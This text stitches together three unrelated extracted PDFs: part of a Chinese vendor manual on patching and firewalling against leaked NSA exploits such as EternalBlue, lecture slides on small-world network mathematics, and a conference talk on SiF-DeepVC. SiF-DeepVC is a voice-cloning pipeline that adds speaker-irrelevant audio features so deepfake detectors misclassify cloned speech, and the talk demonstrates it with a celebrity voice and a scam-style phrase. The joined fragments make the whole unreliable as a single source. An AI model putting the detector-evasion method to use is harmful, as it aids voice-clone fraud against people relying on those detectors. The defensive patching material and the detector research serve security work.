升级到 9.0.1 以上版本并安装
最新补丁
143
http://www-03.ibm.com/software/products/en/ibmdomino
https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Collaboration
%20Solutions&product=ibm/Lotus/Lotus+Domino&release=9.0.1.8&platform=Wind
ows&function=all
Englishmansdentist
恐怖牙医
Outlook Exchange
升级到 2010 以上版本
25
https://products.office.com/zh-cn/exchange/email
Erraticgopher
古怪地鼠
Windows
XP
SP3,
Windows 2003
升级到 vista 以上版本
445
微软停止服务,暂无补丁,可禁用 SMB 服务,防火墙禁用 445 端口。
Eskimoroll
爱斯基摩卷
Windows 2000, 2003,
2003 R2, 2008, 2008
R2
KB3011780
88
https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
Esteemaudit
尊重审查
Windows XP, Windows
Server 2003
升级到 win7 以上系统
3389
微软停止服务,暂无补丁,可禁用远程桌面服务,关闭 3389 端口防护。
Eternalromance
永恒浪漫
Windows XP, Vista, 7,
Windows Server 2003,
2008, 2008 R2
KB4013389
139/445
https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
Eternalsynergy
永恒协作
Windows 8, Windows
Server 2012
KB4013389
139/445
https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 6 页
Ewokfrenzy
星际流氓
IBM
Lotus
Domino
6.5.4, 7.0.2
升级到 9.0.1 以上版本并安装
最新补丁
143
http://www-03.ibm.com/software/products/en/ibmnotes
https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Collaboration
%20Solutions&product=ibm/Lotus/Lotus+Domino&release=9.0.1.8&platform=Wind
ows&function=all
Explodingcan
爆炸之罐
Windows Server 2003
WEBDAC
升级到 win7 以上系统
80
微软停止服务,暂无补丁,微软建议升级 WIN7 防护。
Zippybeer
夺命之酒
Windows Domain
升级系统
445
微软停止服务,暂无补丁,可禁用 SMB 服务,防火墙禁用 445 端口。
Eternalblue
永恒之蓝
Windows
XP(32),Windows Server
2008
R2(32/64),Windows
7(32/64)
KB4013389
139/445
https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
Doublepulsar
双脉冲星
Windows
Vista,
7,
Windows Server 2003,
2008, 2008 R2
KB4013389
139/445
https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
Eternalchampion
永恒王者
Windows XP, Vista, 7,
10,Windows
Server
2003, 2008, 2008 R2,
2012, 2016
KB4013389
139/445
https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx
表格 1 漏洞对应的受影响系统、端口、补丁地址等信息
3 安装官方补丁或升级系统、应用版本
根据上表提供的漏洞对应的系统、软件及对应补丁等信息,可以根据各系统、软件厂商提供的补丁进
行修补或升级最新系统或应用版本防御相关的漏洞攻击。下面以 Win XP、Win7 等系统为例,具体介绍安装
补丁或相应的处理流程:
3.1
win7 安装系统补丁流程:
1)
查看系统信息,确定系统位数、版本、Service Pack(SP)版本。
2)
根据表 1 提供的补丁地址、或者离线补丁包,找对应的补丁程序。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 7 页
3)
下载补丁或拷贝离线补丁
4)
在需打补丁系统内运行补丁程序,点击“是”安装补丁信息。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 8 页
5)
安装完成,重新系统完成补丁更新。
6)
进入系统,控制面板->程序和功能->查看已安装更新,如图出现安装的补丁号,表示补丁安装成功。
3.2
Win7、Win8、Win10 的安全配置处理流程
1)
关闭网络
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 9 页
2)
打开控制面板-系统与安全-Windows 防火墙,点击左侧启动或关闭 Windows 防火墙
3)
选择启动防火墙,并点击确定
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 10 页
4)
点击高级设置
5)
点击入站规则,新建规则,以 445 端口为例
6)
选择端口、下一步
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 11 页
7)
选择特定本地端口,输入要防护的端口如 139、445,点击下一步
8)
选择阻止连接,下一步
9)
配置文件,全选,下一步
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 12 页
10) 名称,可以任意输入,完成即可。
11) 恢复网络连接
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 13 页
12) 开启系统自动更新,并检测更新进行安装
注:在系统更新完成后,如果业务需要使用 SMB 服务,将上面设置的防火墙入站规则删除即可。
3.3
XP 系统的安全配置处理流程
1)
依次打开控制面板,安全中心,Windows 防火墙,选择启用。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 14 页
2)
关闭 139 端口,右击网上邻居–属性–右击本地连接–属性–internet 协议/(TCP/IP)–属性–高级–
WINS–禁用 TCP/IP 上的 NETBIOS–确定。
3)
通过注册表关闭 445 端口,单击“开始”——“运行”,输入“regedit”,单击“确定”按钮,打开注册
表。
4)
找到 HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters,选择“Parameters”项,
右键单击,选择“新建”——“DWORD 值”。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 15 页
5)
将 DWORD 值命名为“SMBDeviceEnabled”,值修改为 0。
6)
重启机器,查看 445 端口连接已经关闭了。
4 总结
在较长一段时间以来,我国行业企业网络安全关注点,更多的在网站安全和暴露在互联网上的可感知
业务节点上,其关注的更多的是网站篡改、DDoS 攻击等可感知度更高的风险。而对于感知度较低的秘密窃
取、深度预制等 APT 攻击,特别是来自国家行为体的网络入侵预制,关注和投入不足。来自国家行为体、
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 16 页
特别是超级大国的网络攻击,通常具有极高的隐蔽性,难以捕获和发现。因此当武器级“永恒之蓝”漏洞
被“魔窟”蠕虫非受控使用时,带来大面积影响也可想而知。
在 4.19 网信工作座谈会上,习近平总书记指出“网络安全具有很强的隐蔽性,一个技术漏洞、安全风
险可能隐藏几年都发现不了,结果是‘谁进来了不知道、是敌是友不知道、干了什么不知道’,长期‘潜伏’
在里面,一旦有事就发作了。’”要求我们“聪者听于无声,明者见于未形”,“全天候、全方位感知网络安
全态势”
因此,从整体来看,网络安全防御的重点应该从原来浅层次的网站安全和暴露在互联网上的一些业务
节点入口安全转变为针对全面的信息系统节点,内网系统、业务系统和网络纵深展开,围绕着关键数据资
产保障所展开。综合来看,从之前斯诺登爆料的 ANT 装备体系到“影子经纪人”所释放的与斯诺登的爆料
相印证的材料,以及本批公开的漏洞利用工具和攻击平台,说明了超级大国在网络攻击方面,对整个内网
体系,特别是对物理隔离系统的有效穿透能力。从这批漏洞来看,既说明了其取得“桥头堡”的能力,也
说明了在穿透物理隔离防线后的全面横向移动能力。
面对这样一种综合性的能力,必须采用有效的产品和解决方案去应对。例如在端点安全上,传统反病
毒的“非黑即白”模式,难以有效地应对远程端口植入、内存加载、浏览器劫持注入免杀恶意代码,而证
书认证,虽然是供应链安全的保障,但对盗用软件厂商数字证书和深度的代码植入则又难以应对。因此需
要采用黑白双控、信誉分析、行为建模等相应的端点防护手段,并结合强有力的安全配置策略和驱动层主
防能力,才能改善端点防御情况。安天智甲终端防御系统基于上述机制设计,基于安天下一代威胁检测引
擎所提供的黑白双项检测能力和向量分析能力,实现对可执行程序和内存对象的内容、行为、发布者和位
置的综合授信判断,并给予生僻度、网内分布、场景连贯性等进行信誉分析。安天智甲支持更灵活的群组
安全策略,在终端有效防护的基础上,可以实现全要素的感知分析和信息采集,以有效支撑用户态势感知
系统的需求。安天智甲充分考虑到内网用户可能无法及时更新补丁的特点,提供了基础补丁+重点补丁的组
合策略,通过热补丁、补丁动态策略期等来降低风险影响。针对勒索软件,安天智甲考虑到内网用户不可
能按时更新病毒库的特点,通过检测引擎+主动防御+行为画像阻断的多重防御机制,即使经过深度加工伪
装的勒索软件绕过引擎检测,其加密文件行为依然会被阻断。从而有效减低其带来的危害。
从流量监测来看,过去更多的是把边界侧的流量检测作为一个主要的检测点,采用的是单包的、轻量
级的、实时化的检测方式,而从安天的研发部署探海威胁检测系统的安全实践来看,围绕着网络出口和重
点网段的进行更细粒度基础流量解析(从五元组到十三元组)、载荷还原捕获、向量级的载荷分析,形成一
个分析大数据,因此可以有效在获得威胁情报和分析成果时,建立起向前的追溯能力。在流量侧的全要素
检测采集的基础上,可以完成对端点、链路和使用者的行为画像,从而有效呈现安全风险。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 17 页
对于行业、企业网络每日进行着大量的运行维护、数据交换、文件分享等工作,而安全威胁也潜藏在
这些行为之中,在这些可执行文件和文档文件之内。网内每日新增的载体文件,包括可执行程序以及相应
的文档文件,不可能依靠用户本身的安全能力,或简单地凭借网络管理员的安全技能,去完成相关的判断,
同时更不可能把文档文件传回给安全厂商做相应的分析支持,因此客户必须具备私有化的分析支撑能力。
安天追影威胁检测系统是可以集群化部署于客户侧的分析系统,其不仅具备普通沙箱的动态分析能力,而
且融合了安天深度的静态格式识别和解析能力,从而使分析可以寄托动态和静态向量的相互补充和验证来
进行。除了对威胁的检测和解析,安天追影结合既有的黑白名单支持,可以直接进行威胁情报生产,使相
关的安全网关、流量监测和终端侧能形成对 C2 等攻击方所使用资源的有效阻断。
安天的安全产品能够有效获得安天面向客户定向化的威胁情报同步和输送,用户亦可选择对接安天强
大的云端分析能力和专家体系实现的有效支持。
在深度的防御对抗中,传统“地图炮”式的态势感知虽然可以展示部分威胁状况,但对于改善网络资
产的实际安全保障水平,价值低微。安天的态势感知系统是围绕着资产和威胁视角展开的,实现资产信誉
评价和威胁认知,充分了解资产和威胁的关联,评价威胁对资产所造成的后果和风险。
在 2 月 17 国家安全工作座谈会上,习近平总书记再次要求我们“加强网络安全预警监测,确保大数据
安全,实现全天候全方位感知和有效防护”。安天多年所做的基础工作和产品解决方案,正是围绕防护的有
效性、感知的全面性和持续性而展开。防御武装到牙齿的网络攻击者,不能期望持续会有类似“斯诺登”
或“影子经济人”的爆料,更不可能期望攻击者会留下开关域名式的可发现中止条件。协助客户感知、呈
现、削弱和阻断最隐蔽、最高级的威胁,达成有效防护,实现价值输出,是安天产品的核心要义,是安天
人的使命所系。
附录一:关于安天
安天是专注于威胁检测防御技术的领导厂商。安天以提升用户应对网络威胁的核心能力、改善用户对
威胁的认知为企业使命,依托自主先进的威胁检测引擎等系列核心技术和专家团队,为用户提供端点防护、
流量监测、深度分析、威胁情报和态势感知等相关产品、解决方案与服务。
全球超过一百家以上的著名安全厂商、IT 厂商选择安天作为检测能力合作伙伴,安天的反病毒引擎得
以为全球近十万台网络设备和网络安全设备、近六亿部手机提供安全防护。安天移动检测引擎是全球首个
获得 AV-TEST 年度奖项的中国产品。
关于系统化应对 NSA 网络军火装备的操作手册
©安天版权所有,欢迎无损转载
第 18 页
安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位
资质,亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。
安天是中国应急响应体系中重要的企业节点,在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等
重大安全事件中,安天提供了先发预警、深度分析或系统的解决方案。
安天实验室更多信息请访问:
http://www.antiy.com(中文)
http://www.antiy.net(英文)
安天企业安全公司更多信息请访问:
http://www.antiy.cn
安天移动安全公司(AVL TEAM)更多信息请访问:
http://www.avlsec.com | pdf |
Network Mathematics - Why is it a Small World?
Oskar Sandberg
1
Networks
Formally, a network is a collection of points and
connections between them.
2
Networks
Formally, a network is a collection of points and
connections between them.
This is an abstraction which can be used to
describe a lot of different systems (technical,
physical, biological, sociological, etc. etc.).
2
Networks
Math
Graph
Vertex
Edge
CS
Network
Node
Link
Physics
System
Site
Bond
Sociology
Social Network
Actor
Tie
Individual
Friendship
WWW
Webpage
Link (d)
Internet
Site
Connection
Network
Bridge
Road System
Crossing
Road
3
Definition and Types
G = (V,E)
4
Definition and Types
G = (V,E)
V is a set (collection) of vertices.
4
Definition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
4
Definition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
4
Definition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
4
Definition and Types
G = (V,E)
V is a set (collection) of vertices.
E is a set of edges (pairs (u,v) where u,v ∈ V).
Structured and designed: Corporate LANs,
telephone networks.
Randomly evolved: The Web, social networks.
Somewhere in between: The Internet, P2P
Networks.
4
Network Mathematics
The questions depend on the type of network.
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
5
Network Mathematics
The questions depend on the type of network.
When designing structured networks, questions are
usually algorithmic. (How do I create a network
with this property?)
When studying randomly generated networks
questions tend to analytic. (Does the network have
this property?)
5
Random Graph Theory
The simplest model for a random graph G(n, p) = (V,E):
6
Random Graph Theory
The simplest model for a random graph G(n, p) = (V,E):
V = {0,1,2,...,n}
6
Random Graph Theory
The simplest model for a random graph G(n, p) = (V,E):
V = {0,1,2,...,n}
u ↔ v (that is (u,v) ∈ E) independently and with
probability p for every pair of vertices u and v.
p
1−p
6
Random Graph Theory, cont.
There are a lot of interesting results regarding this type
of graph. Relevant properties include:
7
Random Graph Theory, cont.
There are a lot of interesting results regarding this type
of graph. Relevant properties include:
If p > 1/n “most” of the vertices form one
connected cluster.
7
Random Graph Theory, cont.
There are a lot of interesting results regarding this type
of graph. Relevant properties include:
If p > 1/n “most” of the vertices form one
connected cluster.
If p > logn/n all of the vertices are connected.
7
Random Graph Theory, cont.
There are a lot of interesting results regarding this type
of graph. Relevant properties include:
If p > 1/n “most” of the vertices form one
connected cluster.
If p > logn/n all of the vertices are connected.
The “diameter” of the connected cluster is logn.
7
Random Graph Theory, cont.
However, this isn’t a great model for studying real
world networks.
8
Random Graph Theory, cont.
However, this isn’t a great model for studying real
world networks.
The vertex degree is highly concentrated (varies
little).
8
Random Graph Theory, cont.
However, this isn’t a great model for studying real
world networks.
The vertex degree is highly concentrated (varies
little).
Triangles are relatively rare.
8
Random Graph Theory, cont.
However, this isn’t a great model for studying real
world networks.
The vertex degree is highly concentrated (varies
little).
Triangles are relatively rare.
In recent years, new models have been introduced for
networks with various properties.
8
Example: Preferential Attachment
A model explaining why realworld networks have
skewed degree distributions. (Proposed by Barbasi
and Albert, rigorous work by Bollobas and
Riordan.)
9
Example: Preferential Attachment
A model explaining why realworld networks have
skewed degree distributions. (Proposed by Barbasi
and Albert, rigorous work by Bollobas and
Riordan.)
Vertices join the graph one by one, each
connecting to those already in the network.
9
Example: Preferential Attachment
A model explaining why realworld networks have
skewed degree distributions. (Proposed by Barbasi
and Albert, rigorous work by Bollobas and
Riordan.)
Vertices join the graph one by one, each
connecting to those already in the network.
The new node chooses who to connect to with a
probability proportional to each older vertices
current degree.
9
Small World Phenomenon
The “Small World Phenomenon” is that
many naturally occurring networks have
a small graph diameter.
10
Small World Phenomenon
The “Small World Phenomenon” is that
many naturally occurring networks have
a small graph diameter.
It was famously illustrated for social
networks by Stanley Milgram in 1967.
Stanley
Milgram
10
Small World Phenomenon
The “Small World Phenomenon” is that
many naturally occurring networks have
a small graph diameter.
It was famously illustrated for social
networks by Stanley Milgram in 1967.
He experimented by having volunteers
in Omaha, Nebraska forward letters to a
stockbroker in Boston through friends.
Stanley
Milgram
10
Small World Phenomenon
The “Small World Phenomenon” is that
many naturally occurring networks have
a small graph diameter.
It was famously illustrated for social
networks by Stanley Milgram in 1967.
He experimented by having volunteers
in Omaha, Nebraska forward letters to a
stockbroker in Boston through friends.
Milgram reported that on average the
packages reached their destination in
only six steps.
Stanley
Milgram
10
Mathematical Models.
The simple type of random graphs discussed
before have low diameter.
11
Mathematical Models.
The simple type of random graphs discussed
before have low diameter.
As noted, however, they are not a good model for
social networks.
11
Mathematical Models.
The simple type of random graphs discussed
before have low diameter.
As noted, however, they are not a good model for
social networks.
It isn’t possible to search in them.
11
Kleinberg’s Model
For searching to be possible, vertices need to have
locations, and whether u ↔ v should depend on the
distance between them (d(u,v)).
12
Kleinberg’s Model
For searching to be possible, vertices need to have
locations, and whether u ↔ v should depend on the
distance between them (d(u,v)).
Let P(x ↔ w) ∝ 1/d(x,w)α, where d(x,w) is the
distance between them.
12
Kleinberg’s Model
For searching to be possible, vertices need to have
locations, and whether u ↔ v should depend on the
distance between them (d(u,v)).
Let P(x ↔ w) ∝ 1/d(x,w)α, where d(x,w) is the
distance between them.
α tunes the degree of “locality” the shortcuts.
12
Kleinberg’s Model
For searching to be possible, vertices need to have
locations, and whether u ↔ v should depend on the
distance between them (d(u,v)).
Let P(x ↔ w) ∝ 1/d(x,w)α, where d(x,w) is the
distance between them.
α tunes the degree of “locality” the shortcuts.
Route using greedy routing: step to the neighbor
which is closest to destination.
12
Kleinberg’s Model, cont.
Efficient routing is possible when α is such that:
P(x ; w) ∝
1
# nodes closer to x than w
This can be seen to be α = d, where d is the dimension
of the space (2 in the simulations).
13
Dynamics
The question I have been trying to answer: how do
navigable networks form?
14
Dynamics
The question I have been trying to answer: how do
navigable networks form?
Kleinberg’s result is mostly negative: for the vast
majority of networks, searching is not possible.
14
Dynamics
The question I have been trying to answer: how do
navigable networks form?
Kleinberg’s result is mostly negative: for the vast
majority of networks, searching is not possible.
Why should one expect real-world networks to
have the necessary edge distribution?
14
Some Math
Take the numbers 1,2,...,n and draw them in a random
order. What is the probability that the k-th number
drawn is the biggest yet?
15
Some Math
Take the numbers 1,2,...,n and draw them in a random
order. What is the probability that the k-th number
drawn is the biggest yet?
Consider only the relative size of the first k
numbers drawn.
15
Some Math
Take the numbers 1,2,...,n and draw them in a random
order. What is the probability that the k-th number
drawn is the biggest yet?
Consider only the relative size of the first k
numbers drawn.
These have a random order: each is equally likely
to be the biggest of them.
15
Some Math
Take the numbers 1,2,...,n and draw them in a random
order. What is the probability that the k-th number
drawn is the biggest yet?
Consider only the relative size of the first k
numbers drawn.
These have a random order: each is equally likely
to be the biggest of them.
Thus the k-th number has probability 1/k of being
the biggest one yet.
15
Interest Model
This observation leads directly to a method for
generating searchable graphs.
Let u associate with each other node v a random
quantity representing u’s interest in v.
16
Interest Model
This observation leads directly to a method for
generating searchable graphs.
Let u associate with each other node v a random
quantity representing u’s interest in v.
Let u ↔ v if u is more interesting to v than any node
which is closer.
16
Interest Model
It follows that
P(u ↔ v) =
1
1+# nodes closer to u than v
This is now independent for each v.
17
Interest Model
It follows that
P(u ↔ v) =
1
1+# nodes closer to u than v
This is now independent for each v.
Expected number of shortcuts from each node is
logn.
17
Interest Model
It follows that
P(u ↔ v) =
1
1+# nodes closer to u than v
This is now independent for each v.
Expected number of shortcuts from each node is
logn.
One can see that greedy routing takes O(logn)
steps on a graph generated like this.
17
A Proof
If d is the distance between u and v, the yellow disk
is the vertices within (3/2)d of u and the green
within d/2 of v.
18
A Proof
If d is the distance between u and v, the yellow disk
is the vertices within (3/2)d of u and the green
within d/2 of v.
u must have a shortcut to the very “most
interesting” vertex in the yellow disk.
18
A Proof
If d is the distance between u and v, the yellow disk
is the vertices within (3/2)d of u and the green
within d/2 of v.
u must have a shortcut to the very “most
interesting” vertex in the yellow disk.
The probability that that vertex is in the green part
is 1/9.
18
Double Clustering
The above model is still not very realistic. For
example, u’s interest in v and v’s interest in u are
not likely to be independent.
19
Double Clustering
The above model is still not very realistic. For
example, u’s interest in v and v’s interest in u are
not likely to be independent.
A better model:
19
Double Clustering
The above model is still not very realistic. For
example, u’s interest in v and v’s interest in u are
not likely to be independent.
A better model:
With each vertex u we associate a position p(u) in
some “space of interests”.
19
Double Clustering
The above model is still not very realistic. For
example, u’s interest in v and v’s interest in u are
not likely to be independent.
A better model:
With each vertex u we associate a position p(u) in
some “space of interests”.
Let u’s interest in v be the inverse of |p(u)− p(v)|.
19
Double Clustering
The above model is still not very realistic. For
example, u’s interest in v and v’s interest in u are
not likely to be independent.
A better model:
With each vertex u we associate a position p(u) in
some “space of interests”.
Let u’s interest in v be the inverse of |p(u)− p(v)|.
That is: u ↔ v if p(u) is closer to p(v) than p of any
node closer to u to than v.
19
The Double Clustering Graph
Definition 1 Let (xi)n
i=1 and (yi)n
i=1 be two sequences of
points without repetition in possibly different spaces M1
and M2 with distance functions d1 and d2 respectively.
The digraph G = (V,E) is constructed as follows:
V = {1,2,...,n}.
(i, j) ∈ E if for all k ∈ V, k ̸= i, j:
d1(xi,xk) < d1(xi,x j) ⇒ d2(yi,yk) ≥ d2(yi,y j)
(Make undirected by removing directionality of the
edges.)
20
Conclusion
Simple probabilistic models can explain
complicated network structures.
Finding such models can help with both network
analysis and design.
It involves a lot of interesting mathematics.
21
Conclusion
The end
22 | pdf |
#BHUSA @BlackHatEvents
Human or Not: Can You Really
Detect the Fake Voices?
Liu Xin, Tan Yuan
School of Information Science and Engineering, Lanzhou University
#BHUSA @BlackHatEvents
Information Classification: General
Contents
What’s Fake Voice
Introduction of AI-synthesized speeches
Existing Detectors
Existing AI-synthesized Speech Detection Approaches
Problems in Existing Approaches
SiF-DeepVC
Voice Clone based on Deep Learning and Speaker-irrelative Features
Detection Bypass using SiF-DeepVC
Evaluation
Four experiments to prove our findings
Conclusion
Takeaways
Open-source code and datasets
#BHUSA @BlackHatEvents
Information Classification: General
What’s Fake Voice
#BHUSA @BlackHatEvents
Information Classification: General
What’s Fake Voice
Novel fake voices are AI-synthesized speeches
Commonly used for fraud, customer service, and authorization bypass
Voice Clone (VC) is the most dangerous one
#BHUSA @BlackHatEvents
Information Classification: General
VC-based Crime
#BHUSA @BlackHatEvents
Information Classification: General
History of Speech Synthesis
Old Days (Before 20th Century)
Simulate sounds with different machines
Very difficult to simulate human voice
“Jigsaw Era” (Before 2010)
Automatic “unit selection”
Very poor coherence and easy to detect
AI-synthesized speeches (Since 2010)
Smooth and natural
Difficult to detect
#BHUSA @BlackHatEvents
Information Classification: General
AI-synthesized Speeches
Input: what you want to say, output: voice
Voice Clone (VC): Replace “Voice Features”!
Linguistical
Data
Encoder
Concat
Attention
Decoder
Synthesizer
Vocoder
Voice
Features
Output Voice
#BHUSA @BlackHatEvents
Information Classification: General
Existing Detectors
#BHUSA @BlackHatEvents
Information Classification: General
Existing Detection Approaches
All existing approaches are reported very promising performance
Computer Vision (CV)-based approaches
Inspired by image recognition techniques that are now quite mature
Convert voice to image and then use image techniques for classification
Most of existing approaches are using CV
Top conferences or journals
Deep4SNet (2021, ACC > 98%)
RES-EfficientCNN (2020, F1 > 97%)
Farid et al.(2019, AUC > 99%)
#BHUSA @BlackHatEvents
Information Classification: General
Existing Detection Approaches
All existing approaches are reported very promising performance
Neural Network Feature (NNF)-based approaches
Proposed in ACM MM 2020 (Top Conference)
Use neuronal activity in neural network as features
SOTA: DeepSonar (2020, ACC=100%)
End-to-End (E2E)-based approaches
Novel approaches, commonly used in NLP problems
SOTA: RawNet2 (2021, Baseline for ASVspoof 2021, EER=6.1%)
Statistical-based approaches
Traditional approaches. Not popular in recent years.
No publications on top conferences/journals in recent 3 years.
#BHUSA @BlackHatEvents
Information Classification: General
Problems in Existing Approaches
Unrealistic Datasets
Speaker-irrelative Features
Multiple Classifications
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Features
Features that should NOT be used to determine "human or not"
Not a necessary part of the transmission content
Not related to the speaker
Examples
Meaningless Silences: before and after the human voice
Background Noises: current sound, wind, and so on
Different Languages: English, Chinese, French, and so on
#BHUSA @BlackHatEvents
Information Classification: General
SiF-DeepVC
#BHUSA @BlackHatEvents
Information Classification: General
What’s SiF-DeepVC
Voice Clone based on Deep Learning and Speaker-irrelative Features
“SiF-DeepVC”
“SiF” stands for “Speaker-irrelative Feature”
“Deep” stands for “Deep Learning”
“VC” stands for “Voice Clone”
PWN detectors with Speaker-irrelative Features
#BHUSA @BlackHatEvents
Information Classification: General
Overview
Human Voice
Linguistical
Data
Encoder
Concat
Attention
Decoder
Synthesizer
Vocoder
Voice Cloner
Cloned
Voice
Denoiser
Frequency
Remover
Volume
Adjuster
SI Feature Extractor
Output Voice
Crafted
Voice
Soundtrack
Merger
Voice Merger
Speaker
Encoder
Feature
Vector
#BHUSA @BlackHatEvents
Information Classification: General
Voice Cloner
Speaker Encoder
Based on G2EE
It computes a fixed dimensional feature vector from the speech signal
Synthesizer
Sequence-to-sequence and based on Tacotron implementation
It generates a mel spectrum under the constraint of speaker embedding vector
Vocoder
Based on WaveRNN
It converts the mel spectrum generated by Synthesizer into time-domain waveforms
Denoiser
It removes the noisy part of the voice generated by Synthesizer and Vocoder
high-frequency noise, current sound, etc.
#BHUSA @BlackHatEvents
Information Classification: General
A Demo: Mr. Musk
Based on a recording of Mr. Elon Reeve Musk
Here are the original voice and the voice generated by Voice Cloner
The latest top-journal published detector (Deep4SNet) still marks it as fake
Speaker
Encoder
Encoder
Concat
Attention
Decoder
Synthesizer
Vocoder
Voice Cloner
Denoiser
Human Voice
Cloned Voice
“I will give
everyone
10 million
dollars”
Fake Voice
Detected
#BHUSA @BlackHatEvents
Information Classification: General
SI Feature Extractor
VC attack
Convey the information we want to convey through speech
A successful VC attack needs:
The intelligibility of cloned voice is acceptable
The size of output cannot be too large
How to get the speaker-irrelative features from human speeches
Remove human audible sound (most of human voice are in 1 kHz~3 kHz)
Lower the volume to avoid to be “too noisy”
#BHUSA @BlackHatEvents
Information Classification: General
SI Feature Extractor
First, for a specific audio file W:
Its amplitude set is A, timestamp set is T, frequency set is F
We have:
Then, the amplitude a ∈ A at specific timestamp and frequency is:
#BHUSA @BlackHatEvents
Information Classification: General
SI Feature Extractor
We denote the silence frequency range
If , we have:
Then, the amplitude at specific timestamp and frequency is:
#BHUSA @BlackHatEvents
Information Classification: General
SI Feature Extractor
We silence all the voices below 4 kHz (human voice mainly in 0.3 kHz~3 kHz)
Since most of 4 kHz+ sounds are noise, we reduce their volume
We define:
: the processing function of SI Feature Extractor
: the audio generated by SI Feature Extractor
We have:
Its amplitude:
#BHUSA @BlackHatEvents
Information Classification: General
SI Feature Extractor
Time-domain spectrums
Human Voice (Left) and Voice after Frequency-based Process (Right)
We can see most of high amplitudes are below 3 kHz in human voice
#BHUSA @BlackHatEvents
Information Classification: General
A Demo: Mr. Musk
Based on a recording of Mr. Elon Reeve Musk
Target: “I will give everyone 10 million dollars!”
Here are the original voice and the voice extracted by SI Feature Extractor
Frequency
Remover
Volume
Adjuster
SI Feature Extractor
Crafted Voice
Human Voice
#BHUSA @BlackHatEvents
Information Classification: General
Voice Merger
It combines voices from SI Feature Extractor and Voice Cloner
: voice from SI Feature Extractor
: voice from Voice Cloner
If the length of is smaller or larger than
Repeat or crop until its length is the same as
Its output can be denoted as :
#BHUSA @BlackHatEvents
Information Classification: General
Voice Merger
For all , we have:
Time-domain spectrums:
Cloned Voice (Left) and Output Voice (Right)
Clearly, the differences are very little
#BHUSA @BlackHatEvents
Information Classification: General
A Demo: Mr. Musk
Based on a recording of Mr. Elon Reeve Musk
Target: “I will give everyone 10 million dollars!”
Here are the original voice, the cloned voice and the output voice
The latest detector published on top journal (Deep4SNet) marks it as real
Cloned Voice
Crafted Voice
Voice Merger
Output Voice
#BHUSA @BlackHatEvents
Information Classification: General
A Demo: Mr. Musk
Human Voice
Encoder
Concat
Attention
Decoder
Synthesizer
Vocoder
Voice Cloner
Cloned
Voice
Denoiser
Frequency
Remover
Volume
Adjuster
SI Feature Extractor
Output Voice
Crafted
Voice
Soundtrack
Merger
Voice Merger
Speaker
Encoder
Feature
Vector
“I will give
everyone
10 million
dollars”
#BHUSA @BlackHatEvents
Information Classification: General
Evaluation
#BHUSA @BlackHatEvents
Information Classification: General
Evaluation
Questions for evaluation
RQ1: Are existing detection approaches practical in real-world environments
RQ2: Do the speaker-irrelative features really affect existing detection approaches
RQ3: Can the SiFDeepVC-generated cloned voices bypass existing detection approaches
RQ4: Can people understand the speeches generated by SiF-DeepVC
Baseline Datasets
Original human recordings from two open-source datasets as the base datasets
FoR Validation: English, 5400 original human recordings, all silence-removed
MagicData Test: In Mandarin, 24279 Samples
Recordings covering different ages, lengths, and environments, and are well represented
None of these recordings are included in the publications of existing detectors.
#BHUSA @BlackHatEvents
Information Classification: General
Selected Existing Detectors
Deep4SNet
Latest CV-based approach
We use the implementation open-sourced by the original authors
RawNet2
E2E-based approach as ASVspoof 2021 baseline
We use the implementation open-sourced by the ASVspoof 2021
Farid et al.
First CV-Based approach on top conference
We use the implementation open-sourced in BlackHat USA 2019
DeepSonar (Not selected)
First NNF-based approach, but no open-source implementation available
We have tried our best to contact the authors, but have received no response yet
#BHUSA @BlackHatEvents
Information Classification: General
Real-world FPR of Existing Approaches
This experiment is to answer RQ1
Real-world Environment
Unbalanced samples. Human speeches
are much more than fake speeches
False Alarm Rate (FPR) is very important
for real-world deployment
Results
We use the baseline datasets to evaluate
the FPR of existing approaches
Obviously, NONE of their FPRs is
acceptable for real world
Answer to RQ1: NO
Approach
Baseline
Positive
FPR
Farid et al.
English
3,656
67.70%
Mandarin
11,020
45.39%
Deep4SNet
English
3,597
66.61%
Mandarin
22,081
90.95%
RawNet2
English
5,099
94.43%
Mandarin
11,580
47.70%
#BHUSA @BlackHatEvents
Information Classification: General
Speaker-irrelative Feature Evaluation
This experiment is to answer RQ2
There are two parts in this experiment
Slight denoise
Not affect the human voice but removes the current sound and the background noise
The detection results should not be changed, in theory.
Silence removal
Only use the Mandarin baseline dataset (English baseline dataset has no silence)
